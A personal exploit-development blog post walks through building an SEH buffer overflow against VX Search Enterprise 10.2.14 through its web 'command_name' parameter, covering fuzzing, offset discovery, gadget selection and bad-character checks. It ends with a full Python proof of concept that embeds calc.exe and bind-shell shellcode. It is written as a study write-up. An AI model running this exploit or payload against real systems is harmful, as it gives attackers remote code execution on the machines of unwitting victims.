03 - VXSearch Enterprise 10.2.14 BoF SEH

Well, I haven't figured out the others yet. Maybe I'm a slow learner, not sure, but I'm fairly determined.

EDIT:  Totally figured out the others, I'll edit them soon... ish.

0x00 VX Search Enterprise 10.2.14 Buffer Overflow

So this is kinda funny-- I started looking on Exploit DB for other exploits for apps that I might find a bit... easier, and stumbled across a buffer overflow in this app, via a web port.  Originally, I was pretty adamant about only attempting exploits against unknown protocols, or at least proprietary / non-RFC'd (is that a thing?) protocols.  While I'm still really, really interested in how to go about accomplishing that from start to finish, even just one, I decided that getting better acquainted with the process was critical.  The kicker is, this is basically the same app as Disk Savvy, it's actually made by the same company.

Ha.  I wasn't even aware until I installed it.  Anyway, This one does seem a lot simpler, as it's simply an HTTP request, and I'm more specialized in web application testing.  It's also an SEH BoF, so it's sort of a combo of things I'm really interested in.

0x01 Locating a Crash

As this is a publicly known vulnerable application, we know the apparent vector for generating the exploit, the 'command_name' parameter in a POST request.  The exploit on Exploit-DB explains that you must be logged into the application to exploit it.  This isn't inaccurate, but also not entirely accurate; it's not that you need to be logged into the application, but that you need to have a valid session identifier, which is a pretty important distinction.  In this case, we'll ignore the known exploit, beyond it pointing us to a vulnerable location.

Fuzzing HTTP is pretty straightforward if you have basic knowledge of the protocol.  In previous posts I utilize SPIKE and boofuzz a lot, but it's important to know when something might be a bit overkill, too.  I'm simply going to make a little python script using the requests library to slam variously sized payloads against the 'command_name' parameter of a POST request.  Pretty simple, really.

In the case that we were unaware of what locations might be vulnerable, creating a boofuzz or SPIKE template for HTTP requests isn't a bad idea-- it can be re-used and altered to fuzz many different requests.

I'm opting to use the requests python library, as it's a bit painful to generate socket connections for POSTs, one reason being the calculation of 'Content-Length' headers.  So, I create a small script that will send various sizes of payloads.

#!/usr/bin/env python

import sys
import requests

u = ''
d = "A"
i = 1

while len(d) < 10000:
    r = requests.post(u, data = { 'command_name' : d*i}) 
    i += 1
    print "Sending: %s" %(len(d*i))

Pretty simple stuff.  After slamming this against VxSearch, at 520 bytes the application crashes like so:

The SEH handler doesn't look promising, and the app crashes on reading 0000000D into EAX.  Interestingly, the service is no longer able to restart after this crash-- it attempts to do so and fails.  After fiddling, I found reinstalling the app to fix the issue.  Hopefully this doesn't happen every time.  Let's just send a thousand bytes now that it's been relaunched:

This crash is infinitely better-- we have clearly overwritten our SEH pointers, and can tell that we've written to the end of the stack.  If you look closely, the instruction EIP points to is part of a loop that reads characters form the buffer we send and writes them onto the stack.  In this case, we see the stack segment points to '014C0000', with the CL register (ECX's least significant) set to 41, part of our buffer.

In the case of this crash, we trigger our structured exception handler because the application has no checks in place to find how much space is actually available to write onto the stack, and instead, writes everything it's given.  At some point the end of the stack approaches, in this case 014BFFFF.  Normally, this is expected behavior, as the stack will have a limited length.  As previously mentioned however, there are no sanity checks to prevent attempting to write to nonexistent memory locations-- the application will continue attempting to write our buffer until it reaches the end... of either buffer or stack.

Take a look at these instructions:

 0042BE9D   INC EAX
 0042BE9E   TEST CL,CL
 0042BEA0   JNZ SHORT vxsrchs.0042BE92

The first instruction writes [ESP (0x014B5728) + EAX (0x00000000) + 18] (BYTE PTR to 0x014B5740 = 41414141) to CL.

Next, CL is written to the current stack, at: [ESP (0x014B5728) + EAX (0x00000000) + 22C] (BYTE PTR to 0x014B5954).

After this, EAX is increased by one.  This enables the the loop to write to read and write the next bytes in the previous instructions.

CL is then TESTed to see the result of 'AND CL, CL'.  TEST sets the ZF (zero flag) when the result of the bitwise AND operator results in zero.  In this case the result of 'AND 41,41' is 1000001, which is clearly not zero.  This function is designed to locate the end of the buffer sent, as it will eventually grab empty bytes, resulting in a 0 for the bitwise AND.

Lastly, the application jumps back to 0x0042BE92 if the ZF isn't set (JMP If Not Zero, JNZ) and continues the process until it runs out of buffer to read/write, or hits the end of the stack.

0x02 Redirecting the Crash

With a valid crash and an overwritten SEH handler, the next step is to determine the exact offset to control SEH.  Thanks to Metasploit, we can use the pattern_create.rb script and make a pattern with a length of 1000 bytes to use in place of our buffer.  Whatever the SEH ends up populated with will be the target offset, which can be detected using the sister script to pattern_create.rb-- pattern_offset.rb

After generating the 1000 byte string, firing the exploit and viewing the SEH chain, we see SEH populated with '41367241', which we find is located at offset 528 by querying pattern_offset.rb  This means we control the flow of the application at crash-time, which is great, because with SEH overwrites, we just need to find a suitable POP,POP,RET instruction somewhere in memory to overwrite the SEH pointer with.  Once the pointer has been overwritten, the application will attempt to redirect application flow to what it has set as the SEH pointer.  This is so the application can perform a clean crash, though in our case, we can take advantage of the flow and redirect it to execute instructions we provide.

Let's invoke mona.py to locate potentially suitable POP,POP,RET instructions via '!mona seh'

Mona locates a pretty serious amount of potential POP,POP,RET instructions, 2265 of them in fact.  I've highlighted one that should be sufficient for our cause, at 100135F7, in libspp.dll  Ideally, we want to avoid memory locations that start with null bytes, and it looks like we're all set in this case.

Overwriting the bytes at offset 528 yield us with a sweet overwrite of SEH:

In the above, I opted to put four bytes of nops at offset 524, as I had noticed when viewing the stack that the previous four bytes appeared to populate the SEH record "CORRUPT ENTRY".  Let's plug in our previously located SEH POP,POP,RET address to see where this SEH overwrite lands us:

Which following, appears to land us in our buffer:

Two things to note here, the obvious one being the highlighted red box-- I honestly can't tell you exactly what that is.  In my limited experience, every SEH exploit I've done has had an entry in the beginning of the buffer that needs to be jumped over, and so I assume that's just how SEH works.  I'll certainly be exploring more about that at a later date, for instance, corelan coder's SEH article is mint, and likely explains it.

Secondly, I've packed a small nop sled into the beginning of my buffer, which currently looks like this:

 nops = "\x90"*16
 shellcode = "\x41"*508
 seh = "\x90\x90\x90\x90"
 seh += "\xF7\x35\x01\x10"
 junk = "\x42" * (1000 - len(nops + shellcode + seh))
 d = nops + shellcode + seh + junk

and is really only for my sanity.  This is why my buffer leads with nops and moves into shellcode.  It's sort of a... buffer for my buffer?  At this point, I have 508 bytes to work with, not including the nop 'sled'.  The first thing to do is change the first 'seh' entry in the above code to:

 seh = "\xEB\x0F\x90\x90" # JMP 15

Which will enable the jump over the highlighted code, landing us 15 bytes into our buffer.  The next bit of this is trivial, so I'm not going to verbosely cover it.  Essentially, we now have control of the flow of execution in the application, and we are effectively executing shellcode, even if it's just nops and 'A's.  Piror to simply throwing some shellcode in however, it's usually a good idea to attempt to determine if there are any bad bytes that the application may not like, or just misinterpret.

I do want to clarify the latter portion of that.  In an ideal world of bad characters (if ever there was one) an application would simply fail to read past a bad character in a buffer if it was, well, bad.  Well, that's not always the case.  Sometimes, application's actually convert or transform characters, into some other bytes, pad them with characters, or ignore them altogether and keep going.  It can be tricky to determine in some cases, but generally the best best is to just send them all as part of your buffer.  Below, a small snippet of python to generate all hexadecimal characters:


 import sys
 for x in range(1,256):
     sys.stdout.write("\\x" + '{:02x}'.format(x))
 print ""

This will generate a list, in '\x01' format, of all hexadecimal characters.  Super useful stuff.  In this case, I actually only found '\x00', the classic null byte, to be a bad character.  Reading other folks PoCs for this, it looks like they may have run into some other characters, but for whatever reason, I didn't have that same issue.  It's still rather important to check, though!

At this point, I decided to test with an msfvenom windows/exec shellcode and pop a calc.  I ran into some issue with this that I'll cover in the last section, Takeaways, but for the most part, slap in a bind shell, generated with msfvenom, and voila, our shell works and we can connect in.

My PoC for this particular exploit is available here, and below:

#!/usr/bin/env python

import sys
import requests

# VX Search Enterprise 10.2.14 'command_name' buffer overflow SEH#
# 524 bytes to SEH overwrite
# 4 bytes for handler, 4 bytes for ptr
# !mona seh
# Log data, item 10
# Address=10027452
# Message=  0x10027452 : pop edi # pop esi # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\VX Search Enterprise\bin\libspp.dll)

u = '' # Note, SID needs to be valid

nops = '\x90'*16

# CALC.exe 319 bytes
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x31\xa2\x9c\xd4\x1b\xc3\x3f"
buf += "\x0f\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\xcd\xea\x1f\x30\xeb\x2b\xff\x0f\x31\xa2\xdd\x85\x5a"
buf += "\x93\x6d\x5e\x67\xea\xad\x06\x7e\x8b\xb4\x5d\x51\xea"
buf += "\x17\x86\x03\x8b\xb4\x5d\x11\xea\x17\xa6\x4b\x8b\x30"
buf += "\xb8\x7b\xe8\xd1\xe5\xd2\x8b\x0e\xcf\x9d\x9e\xfd\xa8"
buf += "\x19\xef\x1f\x4e\xf0\x6b\x91\x95\x1a\x02\xdd\xe2\x63"
buf += "\xe3\xcd\x9c\x90\x91\x1f\x84\x73\x9e\xd4\xd5\xcb\x48"
buf += "\xbf\x87\x31\xa2\x9c\x9c\x9e\x03\x4b\x68\x79\xa3\x4c"
buf += "\x84\x90\x8b\x27\x4b\xba\xe2\xbc\x9d\x1a\x13\xdc\x59"
buf += "\x79\x5d\x55\x95\x90\xf7\xb7\x47\x30\x74\xd1\xe5\xd2"
buf += "\x8b\x0e\xcf\x9d\xe3\x5d\x1d\x16\x82\x3e\xce\x09\x42"
buf += "\xe9\x25\x57\xc0\x73\x2b\x39\xe7\xa5\x05\x6e\x1b\x67"
buf += "\x4b\xba\xe2\xb8\x9d\x1a\x13\x59\x4e\xba\xae\xd4\x90"
buf += "\x90\x83\x23\x46\x30\x72\xdd\x5f\x1f\x4b\x77\x0e\xe1"
buf += "\xe3\xc4\x95\x43\x9d\x66\x55\x70\xfa\xdd\x8d\x5a\x99"
buf += "\x77\x8c\xdd\x82\xdd\x86\xe4\x23\x67\x4e\x68\xf8\xd4"
buf += "\x5f\x09\x2a\x68\xf0\xce\x5d\xc1\x9c\xa1\xc2\x3f\x0f"
buf += "\x31\xa2\x9c\xd4\x1b\x8b\xb2\x82\x30\xa3\x9c\xd4\x5a"
buf += "\x79\x0e\x84\x5e\x25\x63\x01\xa0\x33\x8a\xad\x67\xe3"
buf += "\x26\x72\x8e\x7e\xa2\xf0\xe4\xea\x1f\x10\x33\xff\x39"
buf += "\x73\x3b\x22\x67\x34\x6e\xc6\x84\x48\x22\xd0\xf3\xbe"
buf += "\x1b\x9a\x7e\x86\xeb\x5d\x49\xb7\x7a\xaf\x5c\x21\x54"
buf += "\xda\xf9\xd4\x1b\xc3\x3f\x0f"

# 355 bind
buf =  ""
buf += "\xdb\xd4\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x53\xbe\xb1"
buf += "\xd0\x25\x9b\x83\xc2\x04\x31\x72\x13\x03\xc3\xc3\xc7"
buf += "\x6e\xdf\x0c\x85\x91\x1f\xcd\xea\x18\xfa\xfc\x2a\x7e"
buf += "\x8f\xaf\x9a\xf4\xdd\x43\x50\x58\xf5\xd0\x14\x75\xfa"
buf += "\x51\x92\xa3\x35\x61\x8f\x90\x54\xe1\xd2\xc4\xb6\xd8"
buf += "\x1c\x19\xb7\x1d\x40\xd0\xe5\xf6\x0e\x47\x19\x72\x5a"
buf += "\x54\x92\xc8\x4a\xdc\x47\x98\x6d\xcd\xd6\x92\x37\xcd"
buf += "\xd9\x77\x4c\x44\xc1\x94\x69\x1e\x7a\x6e\x05\xa1\xaa"
buf += "\xbe\xe6\x0e\x93\x0e\x15\x4e\xd4\xa9\xc6\x25\x2c\xca"
buf += "\x7b\x3e\xeb\xb0\xa7\xcb\xef\x13\x23\x6b\xcb\xa2\xe0"
buf += "\xea\x98\xa9\x4d\x78\xc6\xad\x50\xad\x7d\xc9\xd9\x50"
buf += "\x51\x5b\x99\x76\x75\x07\x79\x16\x2c\xed\x2c\x27\x2e"
buf += "\x4e\x90\x8d\x25\x63\xc5\xbf\x64\xec\x2a\xf2\x96\xec"
buf += "\x24\x85\xe5\xde\xeb\x3d\x61\x53\x63\x98\x76\x94\x5e"
buf += "\x5c\xe8\x6b\x61\x9d\x21\xa8\x35\xcd\x59\x19\x36\x86"
buf += "\x99\xa6\xe3\x33\x91\x01\x5c\x26\x5c\xf1\x0c\xe6\xce"
buf += "\x9a\x46\xe9\x31\xba\x68\x23\x5a\x53\x95\xcc\x75\xf8"
buf += "\x10\x2a\x1f\x10\x75\xe4\xb7\xd2\xa2\x3d\x20\x2c\x81"
buf += "\x15\xc6\x65\xc3\xa2\xe9\x75\xc1\x84\x7d\xfe\x06\x11"
buf += "\x9c\x01\x03\x31\xc9\x96\xd9\xd0\xb8\x07\xdd\xf8\x2a"
buf += "\xab\x4c\x67\xaa\xa2\x6c\x30\xfd\xe3\x43\x49\x6b\x1e"
buf += "\xfd\xe3\x89\xe3\x9b\xcc\x09\x38\x58\xd2\x90\xcd\xe4"
buf += "\xf0\x82\x0b\xe4\xbc\xf6\xc3\xb3\x6a\xa0\xa5\x6d\xdd"
buf += "\x1a\x7c\xc1\xb7\xca\xf9\x29\x08\x8c\x05\x64\xfe\x70"
buf += "\xb7\xd1\x47\x8f\x78\xb6\x4f\xe8\x64\x26\xaf\x23\x2d"
buf += "\x56\xfa\x69\x04\xff\xa3\xf8\x14\x62\x54\xd7\x5b\x9b"
buf += "\xd7\xdd\x23\x58\xc7\x94\x26\x24\x4f\x45\x5b\x35\x3a"
buf += "\x69\xc8\x36\x6f"

buf += '\x90'*153 # 508, corrected for calc 

seh = '\xEB\x0f\x90\x90' # JMP 15
seh2 = '\x52\x74\x02\x10'  # POP, POP, RET;

d = nops + buf + seh + seh2

 r = requests.post(u, data = { 'command_name' : d})
 print "[-] Something borked"

0x03 Takeaways

In all honesty, there aren't a lot of lessons to be gleaned here.  The exploit is relatively straightforward as far as SEH BoFs go, but there were some moments of head bashing that it's good to talk about:

  1. Don't fixate on the first crash you find-- take note of the circumstances, such as buffer size, and try something else.  Add a few more bytes, take a few away.  Just fool around and see what happens.  You might find that the crash you're fighting with is just obnoxious, potentially exploitable, but could have another overwrite right around the corner.
    1. I actually spent a good amount of time working with my PoC calc.exe shellcode.  At first, I didn't pay enough attention because I thought I was right at the end and just wanted to finish up.  When I ran the PoC, nothing happened.  No calculator window appeared, nothing.  I tried again.  Nothing.  Restarted the service, tried over and over.  Nothing.  Then, I took a look at running processes.  Guess what?  Yeah, about 15 calc.exe's were running, but no window.  As it turns out, services live in a sort of separate area than normal applicaitons.  I suppose you could compare it to kernel land and 'ring 0' vs higher level rings.  Services, when they run other processes, do not invoke explorer, so me, not knowing that, just thought something o=funky was happening and my shellcode was borked.  Not the case.  My PoC was working the whole time (multiple hours of frustration and attempts) and simply replacing the PoC with a true shell got it working.
    2. You're going to fail.  A lot.  Get used to it.  That's kind of the goal.  My journey through OSCP prepared me for that-- I always took a look back with glee at a box once I finally exploited it, knowing that I didn't just waste eight hours (or more in a lot of cases).  In fact, I learned eight hours worth of stuff that didn't work, which is huge!  That meant that in the future, I only had to try... say, four hours of things that don't work :]\
    3. Stay positive, get your hands dirty.  Don't understand what some code does?  Experiment with it.  Have a working script?  Rewrite it.

    Good luck, happy hunting.

    Popular posts from this blog

    07 - Just Another OSCE Review

    06 - How to maybe not be so bad at fuzzing, Part 2

    02x01 - How to maybe not be as bad at fuzzing unknown binary protocols as you were before reading this